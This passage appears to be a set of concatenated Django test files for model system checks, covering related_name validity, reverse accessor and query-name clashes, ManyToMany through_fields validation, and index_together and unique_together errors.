                    % (invalid_related_name, invalid_related_name),
                    hint="Related name must be a valid Python identifier or end with a '+'",
                    obj=field,
                    id='fields.E306',
                ),
            ]
            self.assertEqual(errors, expected)

    def test_related_field_has_valid_related_name(self):
        lowercase = 'a'
        uppercase = 'A'
        digit = 0

        related_names = [
            '%s_starts_with_lowercase' % lowercase,
            '%s_tarts_with_uppercase' % uppercase,
            '_starts_with_underscore',
            'contains_%s_digit' % digit,
            'ends_with_plus+',
            '_+',
            '+',
        ]
        # Python 2 crashes on non-ASCII strings.
        if six.PY3:
            related_names.extend(['試', '試驗+'])

        class Parent(models.Model):
            pass

        for related_name in related_names:
            Child = type(str('Child_%s') % str(related_name), (models.Model,), {
                'parent': models.ForeignKey('Parent', models.CASCADE, related_name=related_name),
                '__module__': Parent.__module__,
            })

            errors = Child.check()
            self.assertFalse(errors)

    def test_to_fields_exist(self):
        class Parent(models.Model):
            pass

        class Child(models.Model):
            a = models.PositiveIntegerField()
            b = models.PositiveIntegerField()
            parent = ForeignObject(
                Parent,
                on_delete=models.SET_NULL,
                from_fields=('a', 'b'),
                to_fields=('a', 'b'),
            )

        field = Child._meta.get_field('parent')
        expected = [
            Error(
                "The to_field 'a' doesn't exist on the related model 'invalid_models_tests.Parent'.",
                obj=field,
                id='fields.E312',
            ),
            Error(
                "The to_field 'b' doesn't exist on the related model 'invalid_models_tests.Parent'.",
                obj=field,
                id='fields.E312',
            ),
        ]
        self.assertEqual(field.check(), expected)

    def test_to_fields_not_checked_if_related_model_doesnt_exist(self):
        class Child(models.Model):
            a = models.PositiveIntegerField()
            b = models.PositiveIntegerField()
            parent = ForeignObject(
                'invalid_models_tests.Parent',
                on_delete=models.SET_NULL,
                from_fields=('a', 'b'),
                to_fields=('a', 'b'),
            )

        field = Child._meta.get_field('parent')
        self.assertEqual(field.check(), [
            Error(
                "Field defines a relation with model 'invalid_models_tests.Parent', "
                "which is either not installed, or is abstract.",
                id='fields.E300',
                obj=field,
            ),
        ])

    def test_invalid_related_query_name(self):
        class Target(models.Model):
            pass

        class Model(models.Model):
            first = models.ForeignKey(Target, models.CASCADE, related_name='contains__double')
            second = models.ForeignKey(Target, models.CASCADE, related_query_name='ends_underscore_')

        self.assertEqual(Model.check(), [
            Error(
                "Reverse query name 'contains__double' must not contain '__'.",
                hint=("Add or change a related_name or related_query_name "
                      "argument for this field."),
                obj=Model._meta.get_field('first'),
                id='fields.E309',
            ),
            Error(
                "Reverse query name 'ends_underscore_' must not end with an "
                "underscore.",
                hint=("Add or change a related_name or related_query_name "
                      "argument for this field."),
                obj=Model._meta.get_field('second'),
                id='fields.E308',
            ),
        ])


@isolate_apps('invalid_models_tests')
class AccessorClashTests(SimpleTestCase):

    def test_fk_to_integer(self):
        self._test_accessor_clash(
            target=models.IntegerField(),
            relative=models.ForeignKey('Target', models.CASCADE))

    def test_fk_to_fk(self):
        self._test_accessor_clash(
            target=models.ForeignKey('Another', models.CASCADE),
            relative=models.ForeignKey('Target', models.CASCADE))

    def test_fk_to_m2m(self):
        self._test_accessor_clash(
            target=models.ManyToManyField('Another'),
            relative=models.ForeignKey('Target', models.CASCADE))

    def test_m2m_to_integer(self):
        self._test_accessor_clash(
            target=models.IntegerField(),
            relative=models.ManyToManyField('Target'))

    def test_m2m_to_fk(self):
        self._test_accessor_clash(
            target=models.ForeignKey('Another', models.CASCADE),
            relative=models.ManyToManyField('Target'))

    def test_m2m_to_m2m(self):
        self._test_accessor_clash(
            target=models.ManyToManyField('Another'),
            relative=models.ManyToManyField('Target'))

    def _test_accessor_clash(self, target, relative):
        class Another(models.Model):
            pass

        class Target(models.Model):
            model_set = target

        class Model(models.Model):
            rel = relative

        errors = Model.check()
        expected = [
            Error(
                "Reverse accessor for 'Model.rel' clashes with field name 'Target.model_set'.",
                hint=("Rename field 'Target.model_set', or add/change "
                      "a related_name argument to the definition "
                      "for field 'Model.rel'."),
                obj=Model._meta.get_field('rel'),
                id='fields.E302',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_clash_between_accessors(self):
        class Target(models.Model):
            pass

        class Model(models.Model):
            foreign = models.ForeignKey(Target, models.CASCADE)
            m2m = models.ManyToManyField(Target)

        errors = Model.check()
        expected = [
            Error(
                "Reverse accessor for 'Model.foreign' clashes with reverse accessor for 'Model.m2m'.",
                hint=(
                    "Add or change a related_name argument to the definition "
                    "for 'Model.foreign' or 'Model.m2m'."
                ),
                obj=Model._meta.get_field('foreign'),
                id='fields.E304',
            ),
            Error(
                "Reverse accessor for 'Model.m2m' clashes with reverse accessor for 'Model.foreign'.",
                hint=(
                    "Add or change a related_name argument to the definition "
                    "for 'Model.m2m' or 'Model.foreign'."
                ),
                obj=Model._meta.get_field('m2m'),
                id='fields.E304',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_m2m_to_m2m_with_inheritance(self):
        """ Ref #22047. """

        class Target(models.Model):
            pass

        class Model(models.Model):
            children = models.ManyToManyField('Child', related_name="m2m_clash", related_query_name="no_clash")

        class Parent(models.Model):
            m2m_clash = models.ManyToManyField('Target')

        class Child(Parent):
            pass

        errors = Model.check()
        expected = [
            Error(
                "Reverse accessor for 'Model.children' clashes with field name 'Child.m2m_clash'.",
                hint=(
                    "Rename field 'Child.m2m_clash', or add/change a related_name "
                    "argument to the definition for field 'Model.children'."
                ),
                obj=Model._meta.get_field('children'),
                id='fields.E302',
            )
        ]
        self.assertEqual(errors, expected)

    def test_no_clash_for_hidden_related_name(self):
        class Stub(models.Model):
            pass

        class ManyToManyRel(models.Model):
            thing1 = models.ManyToManyField(Stub, related_name='+')
            thing2 = models.ManyToManyField(Stub, related_name='+')

        class FKRel(models.Model):
            thing1 = models.ForeignKey(Stub, models.CASCADE, related_name='+')
            thing2 = models.ForeignKey(Stub, models.CASCADE, related_name='+')

        self.assertEqual(ManyToManyRel.check(), [])
        self.assertEqual(FKRel.check(), [])


@isolate_apps('invalid_models_tests')
class ReverseQueryNameClashTests(SimpleTestCase):

    def test_fk_to_integer(self):
        self._test_reverse_query_name_clash(
            target=models.IntegerField(),
            relative=models.ForeignKey('Target', models.CASCADE))

    def test_fk_to_fk(self):
        self._test_reverse_query_name_clash(
            target=models.ForeignKey('Another', models.CASCADE),
            relative=models.ForeignKey('Target', models.CASCADE))

    def test_fk_to_m2m(self):
        self._test_reverse_query_name_clash(
            target=models.ManyToManyField('Another'),
            relative=models.ForeignKey('Target', models.CASCADE))

    def test_m2m_to_integer(self):
        self._test_reverse_query_name_clash(
            target=models.IntegerField(),
            relative=models.ManyToManyField('Target'))

    def test_m2m_to_fk(self):
        self._test_reverse_query_name_clash(
            target=models.ForeignKey('Another', models.CASCADE),
            relative=models.ManyToManyField('Target'))

    def test_m2m_to_m2m(self):
        self._test_reverse_query_name_clash(
            target=models.ManyToManyField('Another'),
            relative=models.ManyToManyField('Target'))

    def _test_reverse_query_name_clash(self, target, relative):
        class Another(models.Model):
            pass

        class Target(models.Model):
            model = target

        class Model(models.Model):
            rel = relative

        errors = Model.check()
        expected = [
            Error(
                "Reverse query name for 'Model.rel' clashes with field name 'Target.model'.",
                hint=(
                    "Rename field 'Target.model', or add/change a related_name "
                    "argument to the definition for field 'Model.rel'."
                ),
                obj=Model._meta.get_field('rel'),
                id='fields.E303',
            ),
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class ExplicitRelatedNameClashTests(SimpleTestCase):

    def test_fk_to_integer(self):
        self._test_explicit_related_name_clash(
            target=models.IntegerField(),
            relative=models.ForeignKey('Target', models.CASCADE, related_name='clash'))

    def test_fk_to_fk(self):
        self._test_explicit_related_name_clash(
            target=models.ForeignKey('Another', models.CASCADE),
            relative=models.ForeignKey('Target', models.CASCADE, related_name='clash'))

    def test_fk_to_m2m(self):
        self._test_explicit_related_name_clash(
            target=models.ManyToManyField('Another'),
            relative=models.ForeignKey('Target', models.CASCADE, related_name='clash'))

    def test_m2m_to_integer(self):
        self._test_explicit_related_name_clash(
            target=models.IntegerField(),
            relative=models.ManyToManyField('Target', related_name='clash'))

    def test_m2m_to_fk(self):
        self._test_explicit_related_name_clash(
            target=models.ForeignKey('Another', models.CASCADE),
            relative=models.ManyToManyField('Target', related_name='clash'))

    def test_m2m_to_m2m(self):
        self._test_explicit_related_name_clash(
            target=models.ManyToManyField('Another'),
            relative=models.ManyToManyField('Target', related_name='clash'))

    def _test_explicit_related_name_clash(self, target, relative):
        class Another(models.Model):
            pass

        class Target(models.Model):
            clash = target

        class Model(models.Model):
            rel = relative

        errors = Model.check()
        expected = [
            Error(
                "Reverse accessor for 'Model.rel' clashes with field name 'Target.clash'.",
                hint=(
                    "Rename field 'Target.clash', or add/change a related_name "
                    "argument to the definition for field 'Model.rel'."
                ),
                obj=Model._meta.get_field('rel'),
                id='fields.E302',
            ),
            Error(
                "Reverse query name for 'Model.rel' clashes with field name 'Target.clash'.",
                hint=(
                    "Rename field 'Target.clash', or add/change a related_name "
                    "argument to the definition for field 'Model.rel'."
                ),
                obj=Model._meta.get_field('rel'),
                id='fields.E303',
            ),
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class ExplicitRelatedQueryNameClashTests(SimpleTestCase):

    def test_fk_to_integer(self, related_name=None):
        self._test_explicit_related_query_name_clash(
            target=models.IntegerField(),
            relative=models.ForeignKey(
                'Target',
                models.CASCADE,
                related_name=related_name,
                related_query_name='clash',
            )
        )

    def test_hidden_fk_to_integer(self, related_name=None):
        self.test_fk_to_integer(related_name='+')

    def test_fk_to_fk(self, related_name=None):
        self._test_explicit_related_query_name_clash(
            target=models.ForeignKey('Another', models.CASCADE),
            relative=models.ForeignKey(
                'Target',
                models.CASCADE,
                related_name=related_name,
                related_query_name='clash',
            )
        )

    def test_hidden_fk_to_fk(self):
        self.test_fk_to_fk(related_name='+')

    def test_fk_to_m2m(self, related_name=None):
        self._test_explicit_related_query_name_clash(
            target=models.ManyToManyField('Another'),
            relative=models.ForeignKey(
                'Target',
                models.CASCADE,
                related_name=related_name,
                related_query_name='clash',
            )
        )

    def test_hidden_fk_to_m2m(self):
        self.test_fk_to_m2m(related_name='+')

    def test_m2m_to_integer(self, related_name=None):
        self._test_explicit_related_query_name_clash(
            target=models.IntegerField(),
            relative=models.ManyToManyField('Target', related_name=related_name, related_query_name='clash'))

    def test_hidden_m2m_to_integer(self):
        self.test_m2m_to_integer(related_name='+')

    def test_m2m_to_fk(self, related_name=None):
        self._test_explicit_related_query_name_clash(
            target=models.ForeignKey('Another', models.CASCADE),
            relative=models.ManyToManyField('Target', related_name=related_name, related_query_name='clash'))

    def test_hidden_m2m_to_fk(self):
        self.test_m2m_to_fk(related_name='+')

    def test_m2m_to_m2m(self, related_name=None):
        self._test_explicit_related_query_name_clash(
            target=models.ManyToManyField('Another'),
            relative=models.ManyToManyField(
                'Target',
                related_name=related_name,
                related_query_name='clash',
            )
        )

    def test_hidden_m2m_to_m2m(self):
        self.test_m2m_to_m2m(related_name='+')

    def _test_explicit_related_query_name_clash(self, target, relative):
        class Another(models.Model):
            pass

        class Target(models.Model):
            clash = target

        class Model(models.Model):
            rel = relative

        errors = Model.check()
        expected = [
            Error(
                "Reverse query name for 'Model.rel' clashes with field name 'Target.clash'.",
                hint=(
                    "Rename field 'Target.clash', or add/change a related_name "
                    "argument to the definition for field 'Model.rel'."
                ),
                obj=Model._meta.get_field('rel'),
                id='fields.E303',
            ),
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class SelfReferentialM2MClashTests(SimpleTestCase):

    def test_clash_between_accessors(self):
        class Model(models.Model):
            first_m2m = models.ManyToManyField('self', symmetrical=False)
            second_m2m = models.ManyToManyField('self', symmetrical=False)

        errors = Model.check()
        expected = [
            Error(
                "Reverse accessor for 'Model.first_m2m' clashes with reverse accessor for 'Model.second_m2m'.",
                hint=(
                    "Add or change a related_name argument to the definition "
                    "for 'Model.first_m2m' or 'Model.second_m2m'."
                ),
                obj=Model._meta.get_field('first_m2m'),
                id='fields.E304',
            ),
            Error(
                "Reverse accessor for 'Model.second_m2m' clashes with reverse accessor for 'Model.first_m2m'.",
                hint=(
                    "Add or change a related_name argument to the definition "
                    "for 'Model.second_m2m' or 'Model.first_m2m'."
                ),
                obj=Model._meta.get_field('second_m2m'),
                id='fields.E304',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_accessor_clash(self):
        class Model(models.Model):
            model_set = models.ManyToManyField("self", symmetrical=False)

        errors = Model.check()
        expected = [
            Error(
                "Reverse accessor for 'Model.model_set' clashes with field name 'Model.model_set'.",
                hint=(
                    "Rename field 'Model.model_set', or add/change a related_name "
                    "argument to the definition for field 'Model.model_set'."
                ),
                obj=Model._meta.get_field('model_set'),
                id='fields.E302',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_reverse_query_name_clash(self):
        class Model(models.Model):
            model = models.ManyToManyField("self", symmetrical=False)

        errors = Model.check()
        expected = [
            Error(
                "Reverse query name for 'Model.model' clashes with field name 'Model.model'.",
                hint=(
                    "Rename field 'Model.model', or add/change a related_name "
                    "argument to the definition for field 'Model.model'."
                ),
                obj=Model._meta.get_field('model'),
                id='fields.E303',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_clash_under_explicit_related_name(self):
        class Model(models.Model):
            clash = models.IntegerField()
            m2m = models.ManyToManyField("self", symmetrical=False, related_name='clash')

        errors = Model.check()
        expected = [
            Error(
                "Reverse accessor for 'Model.m2m' clashes with field name 'Model.clash'.",
                hint=(
                    "Rename field 'Model.clash', or add/change a related_name "
                    "argument to the definition for field 'Model.m2m'."
                ),
                obj=Model._meta.get_field('m2m'),
                id='fields.E302',
            ),
            Error(
                "Reverse query name for 'Model.m2m' clashes with field name 'Model.clash'.",
                hint=(
                    "Rename field 'Model.clash', or add/change a related_name "
                    "argument to the definition for field 'Model.m2m'."
                ),
                obj=Model._meta.get_field('m2m'),
                id='fields.E303',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_valid_model(self):
        class Model(models.Model):
            first = models.ManyToManyField("self", symmetrical=False, related_name='first_accessor')
            second = models.ManyToManyField("self", symmetrical=False, related_name='second_accessor')

        errors = Model.check()
        self.assertEqual(errors, [])


@isolate_apps('invalid_models_tests')
class SelfReferentialFKClashTests(SimpleTestCase):

    def test_accessor_clash(self):
        class Model(models.Model):
            model_set = models.ForeignKey("Model", models.CASCADE)

        errors = Model.check()
        expected = [
            Error(
                "Reverse accessor for 'Model.model_set' clashes with field name 'Model.model_set'.",
                hint=(
                    "Rename field 'Model.model_set', or add/change "
                    "a related_name argument to the definition "
                    "for field 'Model.model_set'."
                ),
                obj=Model._meta.get_field('model_set'),
                id='fields.E302',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_reverse_query_name_clash(self):
        class Model(models.Model):
            model = models.ForeignKey("Model", models.CASCADE)

        errors = Model.check()
        expected = [
            Error(
                "Reverse query name for 'Model.model' clashes with field name 'Model.model'.",
                hint=(
                    "Rename field 'Model.model', or add/change a related_name "
                    "argument to the definition for field 'Model.model'."
                ),
                obj=Model._meta.get_field('model'),
                id='fields.E303',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_clash_under_explicit_related_name(self):
        class Model(models.Model):
            clash = models.CharField(max_length=10)
            foreign = models.ForeignKey("Model", models.CASCADE, related_name='clash')

        errors = Model.check()
        expected = [
            Error(
                "Reverse accessor for 'Model.foreign' clashes with field name 'Model.clash'.",
                hint=(
                    "Rename field 'Model.clash', or add/change a related_name "
                    "argument to the definition for field 'Model.foreign'."
                ),
                obj=Model._meta.get_field('foreign'),
                id='fields.E302',
            ),
            Error(
                "Reverse query name for 'Model.foreign' clashes with field name 'Model.clash'.",
                hint=(
                    "Rename field 'Model.clash', or add/change a related_name "
                    "argument to the definition for field 'Model.foreign'."
                ),
                obj=Model._meta.get_field('foreign'),
                id='fields.E303',
            ),
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class ComplexClashTests(SimpleTestCase):

    # New tests should not be included here, because this is a single,
    # self-contained sanity check, not a test of everything.
    def test_complex_clash(self):
        class Target(models.Model):
            tgt_safe = models.CharField(max_length=10)
            clash = models.CharField(max_length=10)
            model = models.CharField(max_length=10)

            clash1_set = models.CharField(max_length=10)

        class Model(models.Model):
            src_safe = models.CharField(max_length=10)

            foreign_1 = models.ForeignKey(Target, models.CASCADE, related_name='id')
            foreign_2 = models.ForeignKey(Target, models.CASCADE, related_name='src_safe')

            m2m_1 = models.ManyToManyField(Target, related_name='id')
            m2m_2 = models.ManyToManyField(Target, related_name='src_safe')

        errors = Model.check()
        expected = [
            Error(
                "Reverse accessor for 'Model.foreign_1' clashes with field name 'Target.id'.",
                hint=("Rename field 'Target.id', or add/change a related_name "
                      "argument to the definition for field 'Model.foreign_1'."),
                obj=Model._meta.get_field('foreign_1'),
                id='fields.E302',
            ),
            Error(
                "Reverse query name for 'Model.foreign_1' clashes with field name 'Target.id'.",
                hint=("Rename field 'Target.id', or add/change a related_name "
                      "argument to the definition for field 'Model.foreign_1'."),
                obj=Model._meta.get_field('foreign_1'),
                id='fields.E303',
            ),
            Error(
                "Reverse accessor for 'Model.foreign_1' clashes with reverse accessor for 'Model.m2m_1'.",
                hint=("Add or change a related_name argument to "
                      "the definition for 'Model.foreign_1' or 'Model.m2m_1'."),
                obj=Model._meta.get_field('foreign_1'),
                id='fields.E304',
            ),
            Error(
                "Reverse query name for 'Model.foreign_1' clashes with reverse query name for 'Model.m2m_1'.",
                hint=("Add or change a related_name argument to "
                      "the definition for 'Model.foreign_1' or 'Model.m2m_1'."),
                obj=Model._meta.get_field('foreign_1'),
                id='fields.E305',
            ),

            Error(
                "Reverse accessor for 'Model.foreign_2' clashes with reverse accessor for 'Model.m2m_2'.",
                hint=("Add or change a related_name argument "
                      "to the definition for 'Model.foreign_2' or 'Model.m2m_2'."),
                obj=Model._meta.get_field('foreign_2'),
                id='fields.E304',
            ),
            Error(
                "Reverse query name for 'Model.foreign_2' clashes with reverse query name for 'Model.m2m_2'.",
                hint=("Add or change a related_name argument to "
                      "the definition for 'Model.foreign_2' or 'Model.m2m_2'."),
                obj=Model._meta.get_field('foreign_2'),
                id='fields.E305',
            ),

            Error(
                "Reverse accessor for 'Model.m2m_1' clashes with field name 'Target.id'.",
                hint=("Rename field 'Target.id', or add/change a related_name "
                      "argument to the definition for field 'Model.m2m_1'."),
                obj=Model._meta.get_field('m2m_1'),
                id='fields.E302',
            ),
            Error(
                "Reverse query name for 'Model.m2m_1' clashes with field name 'Target.id'.",
                hint=("Rename field 'Target.id', or add/change a related_name "
                      "argument to the definition for field 'Model.m2m_1'."),
                obj=Model._meta.get_field('m2m_1'),
                id='fields.E303',
            ),
            Error(
                "Reverse accessor for 'Model.m2m_1' clashes with reverse accessor for 'Model.foreign_1'.",
                hint=("Add or change a related_name argument to the definition "
                      "for 'Model.m2m_1' or 'Model.foreign_1'."),
                obj=Model._meta.get_field('m2m_1'),
                id='fields.E304',
            ),
            Error(
                "Reverse query name for 'Model.m2m_1' clashes with reverse query name for 'Model.foreign_1'.",
                hint=("Add or change a related_name argument to "
                      "the definition for 'Model.m2m_1' or 'Model.foreign_1'."),
                obj=Model._meta.get_field('m2m_1'),
                id='fields.E305',
            ),

            Error(
                "Reverse accessor for 'Model.m2m_2' clashes with reverse accessor for 'Model.foreign_2'.",
                hint=("Add or change a related_name argument to the definition "
                      "for 'Model.m2m_2' or 'Model.foreign_2'."),
                obj=Model._meta.get_field('m2m_2'),
                id='fields.E304',
            ),
            Error(
                "Reverse query name for 'Model.m2m_2' clashes with reverse query name for 'Model.foreign_2'.",
                hint=("Add or change a related_name argument to the definition "
                      "for 'Model.m2m_2' or 'Model.foreign_2'."),
                obj=Model._meta.get_field('m2m_2'),
                id='fields.E305',
            ),
        ]
        self.assertEqual(errors, expected)


@isolate_apps('invalid_models_tests')
class M2mThroughFieldsTests(SimpleTestCase):
    def test_m2m_field_argument_validation(self):
        """
        Tests that ManyToManyField accepts the ``through_fields`` kwarg
        only if an intermediary table is specified.
        """
        class Fan(models.Model):
            pass

        with self.assertRaisesMessage(ValueError, 'Cannot specify through_fields without a through model'):
            models.ManyToManyField(Fan, through_fields=('f1', 'f2'))

    def test_invalid_order(self):
        """
        Tests that mixing up the order of link fields to ManyToManyField.through_fields
        triggers validation errors.
        """
        class Fan(models.Model):
            pass

        class Event(models.Model):
            invitees = models.ManyToManyField(Fan, through='Invitation', through_fields=('invitee', 'event'))

        class Invitation(models.Model):
            event = models.ForeignKey(Event, models.CASCADE)
            invitee = models.ForeignKey(Fan, models.CASCADE)
            inviter = models.ForeignKey(Fan, models.CASCADE, related_name='+')

        field = Event._meta.get_field('invitees')
        errors = field.check(from_model=Event)
        expected = [
            Error(
                "'Invitation.invitee' is not a foreign key to 'Event'.",
                hint="Did you mean one of the following foreign keys to 'Event': event?",
                obj=field,
                id='fields.E339',
            ),
            Error(
                "'Invitation.event' is not a foreign key to 'Fan'.",
                hint="Did you mean one of the following foreign keys to 'Fan': invitee, inviter?",
                obj=field,
                id='fields.E339',
            ),
        ]
        self.assertEqual(expected, errors)

    def test_invalid_field(self):
        """
        Tests that providing invalid field names to ManyToManyField.through_fields
        triggers validation errors.
        """
        class Fan(models.Model):
            pass

        class Event(models.Model):
            invitees = models.ManyToManyField(
                Fan,
                through='Invitation',
                through_fields=('invalid_field_1', 'invalid_field_2'),
            )

        class Invitation(models.Model):
            event = models.ForeignKey(Event, models.CASCADE)
            invitee = models.ForeignKey(Fan, models.CASCADE)
            inviter = models.ForeignKey(Fan, models.CASCADE, related_name='+')

        field = Event._meta.get_field('invitees')
        errors = field.check(from_model=Event)
        expected = [
            Error(
                "The intermediary model 'invalid_models_tests.Invitation' has no field 'invalid_field_1'.",
                hint="Did you mean one of the following foreign keys to 'Event': event?",
                obj=field,
                id='fields.E338',
            ),
            Error(
                "The intermediary model 'invalid_models_tests.Invitation' has no field 'invalid_field_2'.",
                hint="Did you mean one of the following foreign keys to 'Fan': invitee, inviter?",
                obj=field,
                id='fields.E338',
            ),
        ]
        self.assertEqual(expected, errors)

    def test_explicit_field_names(self):
        """
        Tests that if ``through_fields`` kwarg is given, it must specify both
        link fields of the intermediary table.
        """
        class Fan(models.Model):
            pass

        class Event(models.Model):
            invitees = models.ManyToManyField(Fan, through='Invitation', through_fields=(None, 'invitee'))

        class Invitation(models.Model):
            event = models.ForeignKey(Event, models.CASCADE)
            invitee = models.ForeignKey(Fan, models.CASCADE)
            inviter = models.ForeignKey(Fan, models.CASCADE, related_name='+')

        field = Event._meta.get_field('invitees')
        errors = field.check(from_model=Event)
        expected = [
            Error(
                "Field specifies 'through_fields' but does not provide the names "
                "of the two link fields that should be used for the relation "
                "through model 'invalid_models_tests.Invitation'.",
                hint="Make sure you specify 'through_fields' as through_fields=('field1', 'field2')",
                obj=field,
                id='fields.E337')]
        self.assertEqual(expected, errors)

    def test_superset_foreign_object(self):
        class Parent(models.Model):
            a = models.PositiveIntegerField()
            b = models.PositiveIntegerField()
            c = models.PositiveIntegerField()

            class Meta:
                unique_together = (('a', 'b', 'c'),)

        class Child(models.Model):
            a = models.PositiveIntegerField()
            b = models.PositiveIntegerField()
            value = models.CharField(max_length=255)
            parent = ForeignObject(
                Parent,
                on_delete=models.SET_NULL,
                from_fields=('a', 'b'),
                to_fields=('a', 'b'),
                related_name='children',
            )

        field = Child._meta.get_field('parent')
        errors = field.check(from_model=Child)
        expected = [
            Error(
                "No subset of the fields 'a', 'b' on model 'Parent' is unique.",
                hint=(
                    "Add unique=True on any of those fields or add at least "
                    "a subset of them to a unique_together constraint."
                ),
                obj=field,
                id='fields.E310',
            ),
        ]
        self.assertEqual(expected, errors)

    def test_intersection_foreign_object(self):
        class Parent(models.Model):
            a = models.PositiveIntegerField()
            b = models.PositiveIntegerField()
            c = models.PositiveIntegerField()
            d = models.PositiveIntegerField()

            class Meta:
                unique_together = (('a', 'b', 'c'),)

        class Child(models.Model):
            a = models.PositiveIntegerField()
            b = models.PositiveIntegerField()
            d = models.PositiveIntegerField()
            value = models.CharField(max_length=255)
            parent = ForeignObject(
                Parent,
                on_delete=models.SET_NULL,
                from_fields=('a', 'b', 'd'),
                to_fields=('a', 'b', 'd'),
                related_name='children',
            )

        field = Child._meta.get_field('parent')
        errors = field.check(from_model=Child)
        expected = [
            Error(
                "No subset of the fields 'a', 'b', 'd' on model 'Parent' is unique.",
                hint=(
                    "Add unique=True on any of those fields or add at least "
                    "a subset of them to a unique_together constraint."
                ),
                obj=field,
                id='fields.E310',
            ),
        ]
        self.assertEqual(expected, errors)






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

from django.core.checks import Error
from django.db import connections, models
from django.test import SimpleTestCase, mock
from django.test.utils import isolate_apps


def dummy_allow_migrate(db, app_label, **hints):
    # Prevent checks from being run on the 'other' database, which doesn't have
    # its check_field() method mocked in the test.
    return db == 'default'


@isolate_apps('invalid_models_tests')
class BackendSpecificChecksTests(SimpleTestCase):

    @mock.patch('django.db.models.fields.router.allow_migrate', new=dummy_allow_migrate)
    def test_check_field(self):
        """ Test if backend specific checks are performed. """
        error = Error('an error')

        class Model(models.Model):
            field = models.IntegerField()

        field = Model._meta.get_field('field')
        with mock.patch.object(connections['default'].validation, 'check_field', return_value=[error]):
            errors = field.check()

        self.assertEqual(errors, [error])






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import unittest
import warnings

from django.conf import settings
from django.core.checks import Error
from django.core.checks.model_checks import _check_lazy_references
from django.db import connections, models
from django.db.models.signals import post_init
from django.test import SimpleTestCase
from django.test.utils import isolate_apps, override_settings


def get_max_column_name_length():
    allowed_len = None
    db_alias = None

    for db in settings.DATABASES.keys():
        connection = connections[db]
        max_name_length = connection.ops.max_name_length()
        if max_name_length is None or connection.features.truncates_names:
            continue
        else:
            if allowed_len is None:
                allowed_len = max_name_length
                db_alias = db
            elif max_name_length < allowed_len:
                allowed_len = max_name_length
                db_alias = db

    return (allowed_len, db_alias)


@isolate_apps('invalid_models_tests')
class IndexTogetherTests(SimpleTestCase):

    def test_non_iterable(self):
        class Model(models.Model):
            class Meta:
                index_together = 42

        errors = Model.check()
        expected = [
            Error(
                "'index_together' must be a list or tuple.",
                obj=Model,
                id='models.E008',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_non_list(self):
        class Model(models.Model):
            class Meta:
                index_together = 'not-a-list'

        errors = Model.check()
        expected = [
            Error(
                "'index_together' must be a list or tuple.",
                obj=Model,
                id='models.E008',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_list_containing_non_iterable(self):
        class Model(models.Model):
            class Meta:
                index_together = [('a', 'b'), 42]

        errors = Model.check()
        expected = [
            Error(
                "All 'index_together' elements must be lists or tuples.",
                obj=Model,
                id='models.E009',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_pointing_to_missing_field(self):
        class Model(models.Model):
            class Meta:
                index_together = [
                    ["missing_field"],
                ]

        errors = Model.check()
        expected = [
            Error(
                "'index_together' refers to the non-existent field 'missing_field'.",
                obj=Model,
                id='models.E012',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_pointing_to_non_local_field(self):
        class Foo(models.Model):
            field1 = models.IntegerField()

        class Bar(Foo):
            field2 = models.IntegerField()

            class Meta:
                index_together = [
                    ["field2", "field1"],
                ]

        errors = Bar.check()
        expected = [
            Error(
                "'index_together' refers to field 'field1' which is not "
                "local to model 'Bar'.",
                hint=("This issue may be caused by multi-table inheritance."),
                obj=Bar,
                id='models.E016',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_pointing_to_m2m_field(self):
        class Model(models.Model):
            m2m = models.ManyToManyField('self')

            class Meta:
                index_together = [
                    ["m2m"],
                ]

        errors = Model.check()
        expected = [
            Error(
                "'index_together' refers to a ManyToManyField 'm2m', but "
                "ManyToManyFields are not permitted in 'index_together'.",
                obj=Model,
                id='models.E013',
            ),
        ]
        self.assertEqual(errors, expected)


# unique_together tests are very similar to index_together tests.
@isolate_apps('invalid_models_tests')
class UniqueTogetherTests(SimpleTestCase):

    def test_non_iterable(self):
        class Model(models.Model):
            class Meta:
                unique_together = 42

        errors = Model.check()
        expected = [
            Error(
                "'unique_together' must be a list or tuple.",
                obj=Model,
                id='models.E010',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_list_containing_non_iterable(self):
        class Model(models.Model):
            one = models.IntegerField()
            two = models.IntegerField()

            class Meta:
                unique_together = [('a', 'b'), 42]

        errors = Model.check()
        expected = [
            Error(
                "All 'unique_together' elements must be lists or tuples.",
                obj=Model,
                id='models.E011',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_non_list(self):
        class Model(models.Model):
            class Meta:
                unique_together = 'not-a-list'

        errors = Model.check()
        expected = [
            Error(
                "'unique_together' must be a list or tuple.",
                obj=Model,
                id='models.E010',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_valid_model(self):
        class Model(models.Model):
            one = models.IntegerField()
            two = models.IntegerField()

            class Meta:
                # unique_together can be a simple tuple
                unique_together = ('one', 'two')

        errors = Model.check()
        self.assertEqual(errors, [])

    def test_pointing_to_missing_field(self):
        class Model(models.Model):
            class Meta:
                unique_together = [
                    ["missing_field"],
                ]

        errors = Model.check()
        expected = [
            Error(
                "'unique_together' refers to the non-existent field 'missing_field'.",
                obj=Model,
                id='models.E012',
            ),
        ]
        self.assertEqual(errors, expected)

    def test_pointing_to_m2m(self):
        class Model(models.Model):
            m2m = models.ManyToManyField('self')

            class Meta:
                unique_together = [
                    ["m2m"],
                ]

        errors = Model.check()
        expected = [
            Error(
                "'unique_together' refers to a ManyToManyField 'm2m', but "
                "ManyToManyFields are not permitted in 'unique_together'.",
                obj=Model,
                id='models.E013',
            ),
        ]
        self.assertEqual(errors, expected)


